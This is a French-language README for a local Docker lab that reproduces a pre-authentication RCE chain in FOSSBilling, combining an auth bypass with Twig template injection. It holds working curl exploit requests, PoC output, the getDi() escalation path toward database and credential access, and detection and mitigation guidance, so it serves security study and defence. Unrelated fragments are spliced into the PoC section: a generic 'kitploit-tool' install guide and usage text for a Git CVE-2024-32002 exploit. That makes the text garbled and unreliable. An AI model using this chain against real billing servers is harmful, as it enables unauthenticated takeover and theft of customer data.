
Lab Docker reproduisant la chaîne RCE pre-auth de FOSSBilling (contournement d'authentification CVE-2026-27604 + SSTI Twig CVE-2026-28496) avec un PoC Python et une cible de comparaison corrigée.
| CVE | Type | CVSS v4 | GHSA | Description |
|---|
| CVE-2026-27604 | Contournement d'authentification | 10.0 | GHSA-78x5-c8gw-8279 | Absence de throw dans le vérificateur de rôle de l'API exposant les points de terminaison d'administration aux appelants non authentifiés |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | Rendu de template Twig non sandboxé via l'API string_render |
FOSSBilling est une plateforme de facturation et de gestion client libre et open-source. Les versions 0.5.4 à 0.7.2 sont affectées. FOSSBilling 0.8.0 corrige les deux vulnérabilités.
Ce laboratoire compare deux versions de FOSSBilling :
| Service | Version de FOSSBilling | Objectif | URL |
|---|---|---|---|
| vuln | 0.7.2 | Cible vulnérable | http://localhost:8081 |
| patched | 0.8.0 | Cible corrigée | http://localhost:8082 |
La chaîne validée dans ce laboratoire local est :```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
La cible corrigée (0.8.0) renvoie :```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Le lab est intentionnellement limité aux services Docker locaux. Il ne cible pas de systèmes externes et n'inclut pas de webshells, de malwares, de persistance, de callbacks externes, de dump de base de données ni de charges utiles destructrices.
La RCE pré-authentification nécessite que les deux vulnérabilités fonctionnent ensemble :```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
Ce lab démontre la chaîne en utilisant la preuve arithmétique sûre `{{ 7*7 }}`. Le chemin complet de RCE via `getDi()` n'est pas démontré.
## Faits vérifiés
| Affirmation | Preuve | Comment vérifier |
| ----- | -------- | ------------- |
| CVE-2026-27604 est un contournement d'authentification dans la gestion des rôles de l'API FOSSBilling. | GHSA-78x5-c8gw-8279 : un throw manquant dans le vérificateur de rôle permet à /api/system/ de se résoudre en tant qu'admin. | Exécutez le PoC : le chemin invité est refusé, le chemin système renvoie un résultat admin. |
| CVE-2026-28496 est une SSTI dans le rendu Twig de FOSSBilling. | GHSA-57mv-jm88-66jc : string_render passe _tpl dans Twig createTemplate() sans sandbox. | Exécutez le PoC : le serveur évalue {{ 7*7 }} et renvoie 49. |
| Les deux vulnérabilités affectent FOSSBilling 0.5.4 à 0.7.2. | Les avis publics identifient la plage de versions affectées. | Comparez les cibles vulnérable (0.7.2) et corrigée (0.8.0). |
| FOSSBilling 0.8.0 corrige les deux vulnérabilités. | La cible corrigée renvoie « Unknown API call » pour le point de terminaison testé. | Exécutez le PoC contre le port 8082. |
| Le contournement d'authentification donne un accès admin non authentifié. | /api/guest/ refuse string_render ; /api/system/ renvoie le résultat sans authentification. | Exécutez l'étape 1 du PoC. |
| La SSTI évalue des templates contrôlés par l'attaquant. | {{ 7*7 }} renvoie 49 via le chemin vulnérable. | Exécutez l'étape 2 du PoC. |
| La chaîne permet une RCE pré-authentification. | Contournement d'authentification + SSTI = injection de template non authentifiée avec contexte admin. | Exécutez le PoC de la chaîne complète. |
| Le PoC est uniquement HTTP. | poc.py envoie uniquement des requêtes HTTP POST. | Inspectez poc/poc.py. |
## Analyse de la cause racine
### CVE-2026-27604 : Contournement d'authentification
L'API FOSSBilling résout les rôles à partir du chemin de l'URL :```text
/api/:role/:module/:method
Le vérificateur de rôle valide si le rôle demandé est autorisé. Cependant, dans les versions vulnérables, l'exception pour les rôles non autorisés est instanciée mais jamais levée :```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
Parce que l'exception n'est jamais levée, la validation passe silencieusement. Le rôle `system` se résout en l'identité d'administrateur cron, accordant un accès complet à l'API d'administration à tout appelant non authentifié.
L'impact sur la sécurité :```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
Le rôle system correspond à l'identité d'administration interne de cron, qui dispose de privilèges administratifs complets.
La méthode d'API d'administration string_render reçoit _tpl à partir des données de la requête et le transmet au pipeline de rendu de template Twig sans application de sandbox :```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
La méthode `renderString()` passe à `createTemplateFromString()` :```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
Le problème critique : createTemplate($tpl) crée un template Twig à partir de la chaîne contrôlée par l'attaquant et le rend sans restrictions de sandbox. Le template a accès aux objets du contexte du template, y compris le gestionnaire d'API invité qui expose getDi().
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication
Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"
Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution
## Résumé du correctif source
FOSSBilling 0.8.0 corrige les deux vulnérabilités :
**Correctif du contournement d'authentification (CVE-2026-27604) :**
Le vérificateur de rôle lève désormais correctement l'exception pour les rôles non autorisés.
**Correctif de la SSTI (CVE-2026-28496) :**
Le rendu des modèles est acheminé via un moteur de rendu sandboxé :```php
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
La politique du bac à sable bloque par défaut l'accès aux méthodes et aux propriétés :```php $methods = []; $properties = [];
Pour le chemin d'API public testé dans ce laboratoire, FOSSBilling 0.8.0 n'expose pas du tout le point de terminaison testé :```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Une vérification de régression au niveau du code source confirme la correction plus profonde :```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
## Architecture du lab```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
| Service | Component | Version / Role |
|---|---|---|
| vuln | FOSSBilling | 0.7.2 cible vulnérable |
| patched | FOSSBilling | 0.8.0 cible corrigée |
| vuln-db | MariaDB | base de données pour la cible vulnérable |
| patched-db | MariaDB | base de données pour la cible corrigée |
| installer-vuln | curl sidecar | installe automatiquement la cible vulnérable |
| installer-patched | curl sidecar | installe automatiquement la cible corrigée |
Services exposés par défaut :```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Les sidecars d'installation s'exécutent automatiquement pendant `docker compose up`. Ils initialisent les deux cibles FOSSBilling avec des identifiants locaux jetables, puis se terminent.
## Prérequis
* Docker Desktop ou Docker Engine
* Docker Compose v2
* Python 3
* Accès Internet lors du premier téléchargement des images Docker
Aucun paquet Python tiers n'est requis. Le PoC utilise uniquement des modules de la bibliothèque standard Python.
## Démarrage rapide
Démarrer le laboratoire à partir d'un état propre :```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Vérifier l'état du service :```bash docker compose ps -a
Services attendus en cours d'exécution :```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
Services d'installation attendus terminés (code de sortie 0) :```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
Vérifiez les journaux de l'installateur :```bash
docker compose logs installer-vuln installer-patched
Exécutez la validation de chaîne contre la cible vulnérable :```bash python3 poc/poc.py --url http://localhost:8081
Exécutez la validation de chaîne contre la cible corrigée :```bash
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url <target_url>
Exemples :```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
Le PoC valide les deux CVE en trois étapes :
Étape 1 — Contournement d'authentification (CVE-2026-27604) : Compare le chemin de l'API invité avec le chemin de l'API système pour prouver l'accès administrateur non authentifié.```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)
**Étape 2 — SSTI (CVE-2026-28496) :**
Confirme l'évaluation du template côté serveur via le point de terminaison d'administration contourné.```text
[2] POST /api/system/system/string_render
body={"_tpl":"{{ 7*7 }}"}
→ result="49" (template evaluated)
Étape 3 — Évaluation de la chaîne : Résume le résultat combiné de la chaîne.
Le PoC est uniquement HTTP. Il n'appelle ni Docker, ni Docker Compose, ni commandes shell, ni API de conteneurs.
python3 poc/poc.py --url http://localhost:8081
## Installation
### Prérequis
- Python 3.8+
- pip
- Git
### Étapes
1. **Cloner le dépôt :**
```bash
git clone https://github.com/yourusername/kitploit-tool.git
cd kitploit-tool
python3 -m venv venv
source venv/bin/activate # Sur Windows : venv\Scripts\activate
pip install -r requirements.txt
Créez un fichier .env à la racine du projet et ajoutez les variables suivantes :
API_KEY=your_api_key_here
DATABASE_URL=postgresql://user:password@localhost:5432/kitploit
DEBUG=False
python manage.py migrate
python manage.py runserver
L'application sera accessible à l'adresse http://localhost:8000.
| Commande | Description |
|---|---|
scan | Lancer un scan de vulnérabilités |
report | Générer un rapport détaillé |
update | Mettre à jour la base de données des signatures |
config | Afficher la configuration actuelle |
python kitploit.py scan --target example.com --output report.json
Cela lancera un scan sur example.com et enregistrera les résultats dans report.json.
--verbose : Activer la sortie détaillée--threads N : Définir le nombre de threads (par défaut : 10)--timeout N : Définir le délai d'attente en secondes (par défaut : 30)--proxy URL : Utiliser un proxy pour les requêtesLe fichier de configuration se trouve dans config/settings.yaml. Voici un exemple :
scanner:
threads: 10
timeout: 30
retries: 3
database:
host: localhost
port: 5432
name: kitploit
logging:
level: INFO
file: logs/kitploit.log
Les contributions sont les bienvenues ! Veuillez suivre ces étapes :
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Ce projet est sous licence MIT. Voir le fichier LICENSE pour plus de détails.
Pour toute question ou suggestion, veuillez ouvrir une issue ou contacter l'équipe de maintenance.
Scope: authorized local lab target only Target: http://localhost:8081
[1a] Guest role: POST /api/guest/system/string_render status=400 error={'message': '...', 'code': ...} → Denied (expected — guest has no admin access)
[1b] System role (bypass): POST /api/system/system/string_render status=200 result=49 → Admin method returned result WITHOUT authentication
VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth CVE-2026-27604 CONFIRMED
[2] POST /api/system/system/string_render body={"_tpl": "{{ 7*7 }}"} status=200 response={"result":"49","error":null}
VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49 CVE-2026-28496 CONFIRMED
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED
CHAIN RESULT: Pre-Auth RCE path CONFIRMED
### Cible corrigée (FOSSBilling 0.8.0)```bash
python3 poc/poc.py --url http://localhost:8082
python3 CVE-2024-32002.py -u https://example.com/repo.git
| Option | Description |
|---|---|
-u, --url | URL du dépôt Git cible |
-h, --help | Afficher le message d'aide |
$ python3 CVE-2024-32002.py -u https://example.com/repo.git
[*] Clonage du dépôt : https://example.com/repo.git
[*] Création du sous-module malveillant...
[*] Configuration du lien symbolique...
[+] Exploit terminé avec succès
Cet outil est fourni à des fins éducatives uniquement. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel. Utilisez-le uniquement sur des systèmes pour lesquels vous disposez d'une autorisation explicite.
Avis de sécurité Git```text CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT
CHAIN RESULT: PATCHED — neither vulnerability is present Target appears to be FOSSBilling >= 0.8.0
## Reproduction HTTP manuelle
### Preuve de contournement d'authentification (CVE-2026-27604)
Chemin invité (devrait être refusé) :```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Chemin système (contourne l'authentification) :```bash
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
### Preuve SSTI (CVE-2026-28496)
La réponse du chemin système provenant de la cible vulnérable :```json
{"result":"49","error":null}
curl -i -X POST
'http://127.0.0.1:8082/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
Réponse corrigée attendue :```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
La chaîne permet une exécution de code à distance non authentifiée contre FOSSBilling, une plateforme de facturation et de gestion de clients qui peut stocker :
La charge utile de laboratoire démontrée est inoffensive ({{ 7*7 }}). La chaîne d'impact réelle via getDi() et le conteneur DI inclut :
Un seul POST HTTP non authentifié suffit pour atteindre le conteneur DI. Ce PoC ne démontre pas ce chemin.
Modèles de requêtes suspectes :```text POST /api/system/system/string_render POST /api/system/* (any admin method via system role)
Indicateurs du corps de la requête :```text
_tpl, {{, }}, getDi, system, string_render
Règles de détection à haut signal :```text Rule 1: POST to /api/system/ from unauthenticated source Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }} Rule 3: Response contains "result" with rendered template output
Actions de surveillance recommandées :
* Examiner les journaux d'accès pour les requêtes vers `/api/system/`
* Examiner les requêtes contenant `_tpl` dans les corps JSON
* Examiner les requêtes contenant la syntaxe Twig (`{{`, `}}`, `getDi`)
* Alerter sur les réponses réussies à `/api/system/` provenant d'IP externes
* Examiner l'activité des administrateurs si une exploitation est suspectée
* Examiner les modèles, modèles d'e-mails et mailers de masse pour détecter une syntaxe Twig suspecte
## Atténuation
Mettre à niveau FOSSBilling vers la version 0.8.0 ou ultérieure.
Étapes recommandées :
* Mettre à niveau FOSSBilling vers la version 0.8.0 ou ultérieure
* Bloquer l'accès externe à `/api/system/*` au niveau du reverse proxy ou du WAF
* Restreindre l'accès à l'API aux IP sources de confiance
* Renouveler tous les jetons d'API administrateur et client
* Invalider toutes les sessions actives
* Examiner les journaux d'accès pour les requêtes vers `/api/system/`
* Auditer les modèles d'e-mails, les mailers de masse et les adaptateurs de paiement pour détecter une syntaxe Twig suspecte
* Renouveler les secrets si une exploitation est suspectée
* Examiner les enregistrements clients, de facturation et de serveurs pour détecter tout accès non autorisé
Leçons d'ingénierie de sécurité :
* Toujours lever des exceptions dans les contrôles d'autorisation — instancier sans lever d'exception constitue un contournement silencieux
* Ne pas rendre de chaînes de modèles non fiables dans un contexte applicatif privilégié
* Utiliser un rendu de modèles en bac à sable et refuser par défaut l'accès aux méthodes et propriétés
* Ne pas exposer les conteneurs DI ou les localisateurs de services aux contextes de modèles
* Maintenir les échecs d'autorisation de l'API explicites et adopter un comportement fail closed
## Commandes utiles```bash
# Container status
docker compose ps -a
# Installer logs
docker compose logs installer-vuln installer-patched
# Chain validation — vulnerable
python3 poc/poc.py --url http://localhost:8081
# Chain validation — patched
python3 poc/poc.py --url http://localhost:8082
# Manual auth bypass proof
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
# Save evidence
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt
python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt
docker compose ps -a | tee evidence/docker-ps.txt
docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt
docker compose down --remove-orphans
docker compose down -v --remove-orphans
rm -rf evidence/
## Limites de sécurité
Ce laboratoire est destiné uniquement à la recherche en sécurité locale et à la démonstration contrôlée.
N'exécutez pas le PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test. N'utilisez pas d'identifiants de production réels, de données clients ou de clés API dans ce laboratoire.
Le périmètre prévu est limité à :```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
Le lab ne démontre pas :
CVE-2026-27604 — Contournement d'authentification FOSSBilling https://www.cve.org/CVERecord?id=CVE-2026-27604
CVE-2026-28496 — SSTI FOSSBilling https://www.cve.org/CVERecord?id=CVE-2026-28496
GHSA-78x5-c8gw-8279 — Avis de contournement d'authentification https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
GHSA-57mv-jm88-66jc — Avis SSTI https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
NVD — CVE-2026-27604 https://nvd.nist.gov/vuln/detail/CVE-2026-27604
NVD — CVE-2026-28496 https://nvd.nist.gov/vuln/detail/CVE-2026-28496
VulnCheck — Contournement d'authentification FOSSBilling et SSTI Twig vers RCE non authentifié https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
Dépôt GitHub FOSSBilling https://github.com/FOSSBilling/FOSSBilling
Image Docker FOSSBilling https://hub.docker.com/r/fossbilling/fossbilling
Documentation Twig — Extension Sandbox https://twig.symfony.com/doc/3.x/sandbox.html